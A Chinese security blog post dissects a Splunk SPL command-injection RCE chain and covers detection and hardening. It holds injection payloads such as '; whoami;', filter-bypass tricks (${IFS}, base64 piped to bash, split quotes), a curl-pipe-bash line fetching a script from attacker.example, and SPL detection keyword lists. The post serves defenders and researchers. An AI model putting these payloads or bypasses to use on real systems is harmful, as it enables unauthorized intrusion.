最近在复盘一个典型的 Splunk RCE 漏洞案例,标题看着吓人——攻击者能通过构造恶意 SPL 查询,最终在服务器上执行任意 Shell 命令。但把整条攻击链拆开看,里面全是基本功:先靠信息泄露确认目标,再摸清 SPL 解析器的边界,最后用各种绕过手法把命令打进去。这篇文章就围绕这条链,把 Splunk 为什么容易被盯上、SPL 语法如何被滥用、Shell 命令执行的真实利用细节,以及蓝队怎么在日志里找痕迹,一次讲透。适合安全研究员、蓝队成员和负责 Splunk 运维的工程师阅读。
1. Splunk 为什么是 RCE 的高价值目标
1.1 日志平台的特殊地位:高权限与海量敏感数据
先聊聊 Splunk 在企业里的位置。它不是一台普通服务器,而是整个企业安全运营的"数据中枢"。几乎所有网络设备、服务器、应用、数据库的日志都会汇总到 Splunk,有的客户日增日志量能达到几百 GB,甚至 TB 级别。这意味着什么?攻击者拿到 Splunk,等于拿到了全网的关键日志,里面往往还藏着账号密码、API 密钥、数据库连接串、业务敏感文件路径。更麻烦的是,Splunk 在架构设计上处于内网核心网段,它的搜索节点(Search Head)往往要访问大量后端资源来拉取数据进行索引和检索,所以代理权限、服务账号权限通常给得非常大。
从攻击者视角看,Splunk 是一个完美的"跳板"。一台放在核心网段、拥有日志全量读取权限、还常常开着 8000 和 8089 端口的机器,一旦被打穿,整个内网横向移动的难度会直线下降。因为横向移动最需要的三个东西——凭据、网段拓扑、关键资产信息——全部能从日志里翻出来。这也是为什么这类 RCE 漏洞被爆出来后,业界的反应普遍比较大:不是因为漏洞本身多复杂,而是因为它命中的目标太关键。
1.2 攻击面画像:从 Web 控制台到 SPL 解析器
Splunk 的攻击面比一般人想象的大得多。第一是 Web 管理控制台,默认在 8000 端口,登录后就是一个完整的搜索界面,同时也是各种管理功能的入口;第二是 8089 端口的管理 REST API,很多自动化脚本和部署工具都在用;第三是通用转发器(Universal Forwarder)、重型转发器(Heavy Forwarder)、索引器(Indexer)、搜索头(Search Head)之间的数据通道;第四是第三方 App,Splunk 生态特别丰富,很多团队会装各种 App 来扩展功能,但第三方 App 的代码质量和安全审计水平参差不齐。
更关键的是 SPL(Search Processing Language,搜索处理语言)。Splunk 的搜索功能都靠它来驱动,用户提交的搜索语句会被 Splunk 解析、编译、执行。SPL 本身设计得非常灵活,支持管道、函数、子搜索,还能调用外部脚本。灵活是好事,也意味着攻击面大。历史上一旦出现 RCE 漏洞,重灾区往往集中在 SPL 解析器对某些特殊参数的处理上,尤其是把用户可控内容拼进底层命令的时候。所以研究 Splunk 的 RCE,绕不开 SPL。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. SPL 语法与命令执行的边界
2.1 SPL 语法入门:splunk spl 举例
先把 SPL 这玩意儿说清楚。它看起来像 Unix 管道命令和 SQL 的混合体。一条查询语句以索引条件开头,然后用竖线(|)串联一个个处理命令,数据就像水流一样流过管道。一个最常见的查询长这样:
spl复制index=weblogs sourcetype=access_combined
| stats count by clientip
| sort count desc
| head 20
第一行限定了要搜索的日志来源,index=weblogs 表示从 weblogs 这个索引里找,sourcetype=access_combined 限定日志类型。第二行统计每个客户端 IP 的访问次数,第三行排序,第四行取前 20 条。整个链路就是"在日志里筛选数据 -> 聚合统计 -> 展示结果"。
如果你做过数据分析,会发现 SPL 的能力远不止搜日志,它其实是个完整的数据处理语言。再举一个常见的示例:
spl复制index=_internal earliest=-1h
| eval level = if(severity=="ERROR" OR severity=="WARN", "high", "low")
| search level="high"
| table _time host level message
这里出现了 eval,它很像编程语言里的表达式赋值,可以处理字符串、数字,做条件判断。if()、match()、replace() 这些函数都是我们平时写 SPL 经常用的。问题恰恰出在这里:语法越丰富、表达式越灵活,解析器就越要处理复杂的输入结构,任何一层过滤不严,都可能被构造出非预期的执行效果。
2.2 命令执行路径是怎么被打开的
很多人以为 SPL 只能操作数据,跟操作系统命令八竿子打不着。但 Splunk 设计了很多"外部交互"能力,这些能力就是 RCE 的入口。举几个常见机制:
- 自定义搜索命令:开发者可以用 Python、Ruby、Perl 等语言写脚本,注册成 SPL 命令,在搜索管道里直接调用。
- 脚本告警:告警触发时可以运行一个外部脚本。
- Lookup 脚本:Splunk 的查找功能允许用外部脚本作为数据源。
- 报告调度器:定时生成报告,可以配置自定义 shell 命令。
这些机制本身是运行外部程序,正常情况下没问题,但如果一个 SPL 查询中,用户可控的参数没经过校验就被拼进外部命令,那"查询日志"就变成了"执行命令"。
比如,底层如果这样实现——把 SPL 命令和参数拼进一条 sh -c 命令:
bash复制sh -c "python /opt/splunk/custom_cmd.py $USER_INPUT"
那么攻击者传一个参数 ; whoami;,实际执行的命令就会变成:
bash复制sh -c "python /opt/splunk/custom_cmd.py ; whoami;"
分号让 shell 认为这是一条命令的结束和另一条命令的开始,于是 whoami 顺利执行。历史上的 Splunk RCE 漏洞,很多就是这么一步步从参数拼接到命令注入的。原理不复杂,复杂的是"怎么找到那个拼接点",以及"怎么绕过各种过滤"。
2.3 信息泄露是 RCE 的"探路石"
在真实攻击里,RCE 很少直接盲打,前面通常会有一段信息泄露铺垫。攻击者先摸清目标 Splunk 版本、平台、接口、认证策略,才好决定用哪条漏洞路径。比如未授权访问 /en-US/account/login 页面的报错信息可能泄露框架细节;某些管理接口未开启鉴权时,/services/server/info 能直接返回主机名、操作系统版本、Splunk 版本号;甚至某些配置接口可以读取部分静态配置。
Splunk 的信息泄露还有一种隐蔽形态:登录后的普通用户权限过高,能读取到不该看见的索引和报表。很多企业给日志平台的权限划分比较粗,普通运维账号可能能访问包含凭证、密钥的敏感索引。攻击者获取一个低权限账号后,先翻日志找管理员的密码哈希、API token,再拿到更高权限,最后往 SPL 注入点上打。所以信息泄露和 RCE 经常是串联的,前者降低了后者的门槛,也为后续利用提供了准确的环境情报。
3. 攻击链实操复盘与 Shell 命令利用技巧
3.1 构造恶意 SPL 查询的实验过程
先说清楚边界:下面的所有验证都只在隔离的本地测试环境中进行,环境是模拟代码,不是真实生产系统。任何未经授权的系统上执行 payload 都是违法的,这个原则大家心里要有数。
我习惯先把漏洞成因抽象成一个小模拟器,这样不用依赖具体的 Splunk 版本就能把原理讲明白。假设我们写了一个 Python 脚本,模拟 Splunk 中某个自定义命令的处理逻辑:
python复制import subprocess
def run_custom_command(cmd_name, *args):
# 缺陷点:直接把参数拼接到 shell 命令中
full_command = f"{cmd_name} {' '.join(args)}"
print(f"[DEBUG] executing: {full_command}")
result = subprocess.run(full_command, shell=True, capture_output=True, text=True)
return result.stdout
这个函数的形式很典型:cmd_name 是固定的命令名,args 是用户传入的参数。测试时,如果传一个正常参数:
python复制print(run_custom_command("echo_hostname", "10.0.1.5"))
执行结果是正常输出主机名。但如果攻击者传的参数是 10.0.1.5; whoami;:
python复制print(run_custom_command("echo_hostname", "10.0.1.5; whoami;"))
拼出来的 full_command 变成 echo_hostname 10.0.1.5; whoami;,shell 先执行 echo_hostname 10.0.1.5,然后执行 whoami。就这么简单,一个肉眼几乎看不出问题的函数,成了命令执行的突破口。
这个模拟实验的价值在于:它把"SPL 查询变成命令执行"的关键动作可视化出来。真正在 Splunk 里发生的事,本质就是某个回调函数把用户输入拼进了 subprocess 或者 os.system 这类接口。实验环境跑通之后,你会对"为什么日志平台需要严格做输入校验"有一种非常直观的感受。
3.2 RCE 绕过技巧:黑名单过滤下如何过关
如果开发者足够警觉,会在拼接前做一层过滤,最常见的做法是黑名单拦截,比如禁掉 ;、&、| 这些 shell 元字符。这也催生了一大堆绕过手段。我按几个典型类别整理了一下:
- 空格绕过:命令参数往往需要空格,黑名单经常拦空格。可以用
${IFS}或者$IFS(在 shell 里代表默认分隔符)代替空格,也可以用 tab(制表符)分隔。比如cat${IFS}/etc/passwd。 - 命令分隔符扩展:
;、&&、||、|、换行符%0a等都能起到分隔多条命令的作用。黑名单如果只拦了分号,换行符就漏了。 - 编码与变量拼接:关键命令名被过滤时,可以做 base64 编码,再配合
echo BASE64 | base64 -d | bash的方式解码执行;也可以把命令名拆开拼接,比如c""at或c'a't,shell 会合并成cat。 - 通配符与路径技巧:在某些场景下可以用
*、?匹配命令,比如/???/??t /etc/passwd在某些 shell 里能匹配到cat。 - 单引号双引号闭合:如果输入被包在引号里,先闭合引号再插入命令,是注入里最基础的思路。
这里要特别说一句:绕过技巧是"道高一尺魔高一丈"的猫鼠游戏,与其拼命维护黑名单,不如做白名单校验。白名单的意思是只允许特定字符集合,而不是"只要不含分号就放行"。我在实际项目里见过太多只拦符号不拦拼接的过滤规则,一个 ${IFS} 就给绕过去了,看得人直摇头。
3.3 不可不知的 shell 命令细节:shift、cd 与执行方式
一旦确认命令注入点,攻击者就要开始拼凑真正能完成任务的命令链。这里面有几个非常细节的知识点值得展开。
第一个是 shift。这是 shell 内建命令,作用是让位置参数左移一位:$2 变成 $1,$3 变成 $2,依此类推,原来的 $1 会被丢弃。我在做命令注入测试时用到过它——当目标程序把我们插入的参数强制绑定到了固定位置,我们可以用 shift 主动调整参数位置,把真正的命令"挪"进期望的位置。看个简单例子:
bash复制#!/bin/bash
# 假设脚本会用 $1 作为某个参数
echo "第一个参数: $1"
shift
echo "shift 后第一个参数: $1"
运行 ./test.sh A B C,第一次输出 A,shift 之后输出 B。在注入场景里,这种"参数平移"能力能调整整个 payload 的结构,让拼接出来的命令更符合预期。
第二个是 cd。很多初学者会忽略这个基础命令。在 RCE 利用链中,切换目录往往是为了定位下一步要操作的目标文件,比如找 web 根目录写脚本、找可写目录挪工具、找日志目录清理痕迹。举一个常见组合:先 cd /tmp 再下载工具,或者 cd /opt/splunk/etc/apps 检查第三方应用的配置。单独一个 cd 没有杀伤力,但它是整个命令链上不可缺少的定位动作。
第三个是 Shell 脚本的执行方式。攻击者不一定每次都当场执行一条命令,很多时候会先写入一段脚本,再执行脚本。常规做法无非这几类:
bash复制bash -c "id"
sh -c "curl http://attacker.example/shell.sh | bash"
chmod +x /tmp/s.sh && /tmp/s.sh
第一行直接执行单条命令,适合快速验证注入点;第二行用管道把远程脚本拉下来直接交给 bash 执行,是常见的下载执行链;第三行是落地脚本后赋予执行权限再运行。这三种方式在实战中是最常见的形态,蓝队检测时也会优先盯 bash -c、curl 管道 bash 这些模式。
3.4 不同语言命令执行函数的差异
RCE 不只发生在 shell 拼接场景,很多 Web 应用和 Splunk 第三方脚本是用 PHP、Python、Ruby 写的,研究这些语言里命令执行函数的差异,能帮我们判断"哪条注入路径有回显、哪条能接管道符"。我用一个对比表把常见的命令执行函数整理一下:
| 函数 | 所属语言 | 是否经过 shell 解释 | 是否返回执行结果 | 管道符/重定向是否生效 |
|---|---|---|---|---|
system() |
PHP | 是 | 输出直接打印 | 生效 |
exec() |
PHP | 是 | 返回最后一行的输出 | 生效 |
shell_exec() |
PHP | 是 | 返回完整输出 | 生效 |
passthru() |
PHP | 是 | 输出直接打印(二进制也可) | 生效 |
pcntl_exec() |
PHP | 否 | 不返回输出,只替换当前进程 | 不生效 |
subprocess.run(..., shell=True) |
Python | 是 | 捕获输出 | 生效 |
os.system() |
Python | 是 | 返回退出码 | 生效,输出走 stdout |
exec() (Ruby) |
Ruby | 是 | 替换进程,不回显 | 生效 |
这里最容易踩坑的是 PHP 的 pcntl_exec()。它不是像 system() 那样通过 shell 解释器去执行命令,而是直接调用操作系统的 exec 族函数,把当前 PHP 进程替换成另一个程序。这意味着管道符、重定向、通配符这些 shell 特性通通不生效,而且执行后没有输出回显。所以如果你在一个注入点里试了 system("id") 没回显,别急着一口咬定不能 RCE,有可能底层走的是 pcntl_exec() 这类函数,它需要你先写一个临时文件再执行,利用姿势完全不同。
搞清楚这些差异,在漏洞研判阶段能省不少时间。我做过一个印象很深的排查:一个注入点怎么打都没回显,一度以为是个误报,后来把参数塞进 cmd 字段、配合 curl 外带,数据就出来了。原因就是底层用了不走 shell 的命令执行函数,传统管道思路全部失效,换成文件落地思路才打通。
4. 蓝队视角:攻击特征识别与加固
4.1 日志里那些"刺眼"的 SPL 模式
我虽然不是纯蓝队出身,但做过挺多次应急响应,有一类请求一看就觉得不对劲。Splunk 的所有搜索请求都会进 splunkd_access 这一类审计日志,里面记录了搜索语句、来源 IP、用户名、时间戳。如果想在日志里发现命令注入攻击的痕迹,我一般优先盯下面这几类特征:
- SPL 语句里出现
system(、exec(、shell_exec(、passthru(、pcntl_exec(这类函数名。 - SPL 参数里出现
bash、sh -c、curl、wget、base64、$IFS、${IFS}、反引号等 shell 特征。 - 搜索语句异常长,正常查询通常几十个字符,注入 payload 动辄几百上千字符,还夹带各种编码和引号。
- 同一个账号在短时间高频发起带有各种试探性参数的查询,像是自动化扫描。
- 参数里同时出现
;、&&、|和命令名的组合,比如; whoami、| id。
我顺手写一个基于 Splunk 自身日志的检测示例,思路是直接搜索审计日志中是否出现高风险特征:
spl复制index=_internal sourcetype=splunkd_access
| search "system(" OR "exec(" OR "shell_exec(" OR "bash -c" OR "$IFS" OR "base64"
| table _time user clientip uri_path splunkd_search
| sort - _time
这段 SPL 就是把带特征的关键词做一个粗筛,命中后交给人工复核。注意这不是银弹,绕过手法那么多,特征词迟早会变化,所以更靠谱的其实是"行为基线":先统计正常用户的 SPL 长度、字段命中率、访问时段,再标记偏离基线的异常值。偏移量比关键词更难以伪造。
4.2 修复与加固:让攻击链断在每一环
聊完攻击,来说正经的加固。我的建议是从四个层面同时下手,而不是指望单一补丁解决问题。
第一是版本与补丁。Splunk 官方对已知 RCE 漏洞一般都会在后续版本修复,持续跟踪官方安全公告,及时升级到不受影响的版本,这永远是优先级最高的动作。不要嫌升级麻烦,很多大型告警事件最后复盘,根因都是"几个月前有补丁没打"。
第二是权限收敛。- Splunk 服务运行账号不要用 root 或域管账号,改成独立低权限账号,并且限制它写入 web 目录和可执行文件目录的能力。
- 管理端口 8000/8089 只对信任网段开放,能不加全网监听就不加。
- 搜索账号按需分配,用户能看哪些索引,严格用基于角色的权限控制,尤其别让普通账号看到存凭证的索引。
第三是输入侧校验。对搜索接口、REST API 参数做白名单校验,SPL 语句里只允许业务需要的字符集合;禁用不需要的自定义命令,比如没有用到的脚本类搜索命令,直接不部署或改权限,减少攻击面。
第四是把认证和审计做扎实。强行要求 MFA 不是可选项,是必须项。开启完整审计日志,管理操作和搜索操作都要留痕,日志最好同步到 Splunk 之外的独立存储里,防止攻击者拿到权限后自己"销账"。
4.3 应急响应时的排查清单
真发生事情的时候,别慌,按下面这个顺序排查能少走弯路:
- 确认影响范围:先看是哪个实例、哪个账号、哪个时间窗,别一开始就大面积关停业务。
- 收集审计日志:导出
splunkd_access、audit_trail、搜索历史记录,找到触发注入的那条原始 SPL,看它到底执行了哪些命令。 - 排查命令落地痕迹:检查服务的安装目录、web 目录、临时目录是否有新增脚本;用进程审计工具看有没有异常进程和连接。
- 检查反弹连接:看 Splunk 服务器有没有主动往外连的可疑 TCP 连接,尤其是反向 shell 常见的高位端口。配合全流量日志能更快定位。
- 排查账号与配置变更:检查是否新增了管理员账号、是否修改了认证配置、是否放大了权限。
蓝队和红队的区别,很多时候就体现在这套过程的系统性上。红队只要能打通一条路径就算赢,蓝队必须在最短时间内把所有路径都收敛掉。
5. 复盘与个人踩坑记录
5.1 我踩过的两个坑
先说我踩过的第一个坑:在某次授权的内部模拟测试里,图省事直接在搜索框里粘贴了一段含 ; 的测试参数,本意是看调试日志。结果因为目标 Splunk 的搜索代理配置了多索引转发,payload 被打到了同一集群的另一套测试环境,那里有其他团队在跑业务,差点引起误报和事故。从那之后,我所有 Splunk 注入验证都先检查两件事:目标是不是独立的隔离实例,payload 里是不是只放无害命令。whoami 和 id 完全够用来验证注入点,别整那些花里胡哨的反弹 shell。
第二个坑是 SPL 转义问题。SPL 里本身有引号和转义的规则,构造恶意查询时要非常小心嵌套关系。我试过构造一条带 eval 的查询,因为花括号和双引号没有正确配对,Splunk 直接报了语法错误而不是执行命令。后来养成了习惯:先在本地 Splunk 环境里用 | makeresults 生成空结果集,再做语法验证,确认无误才在目标环境执行。这些小习惯能节省特别多现场调试时间。
5.2 误报排查:一次看起来像注入的误会
还有一种典型情况,差点让我误报给客户。那次审计日志里出现了大量带 %0a 和 eval 的 SPL 语句,第一眼看就是典型的注入特征。结果打开完整参数才发现,这是某业务系统在做正常的数据清洗,把多行文本 encode 进 SPL 里的 eval 表达式,%0a 只是 URL 编码的换行符,和命令注入根本没有关系。
这次经历给我提了个醒:凡是告警,先看完整上下文,再看触发账号的日常行为,最后才下结论。单个特征词匹配只能用来做线索,不应该直接当证据。真正可靠的检测,要结合多个维度的信号交叉验证。
5.3 最后再分享一个实用小技巧
踩过的坑多了之后,我养成了一个习惯:把安全测试用的专用搜索账号,它的所有搜索操作单独同步到另一个日志分析平台,实现"日志平台的日志"独立留存。这样即使 Splunk 本身被攻破,攻击者清理了审计日志,我们手里还有一份独立的交叉记录可以用来还原攻击链条。声音听起来有点绕,但实际操作很简单:开一个转发器,把 audit_trail 和 splunkd_access 实时转发到外部的日志存储即可。成本不高,关键时候能救命,值得每个 Splunk 运维团队认真考虑。
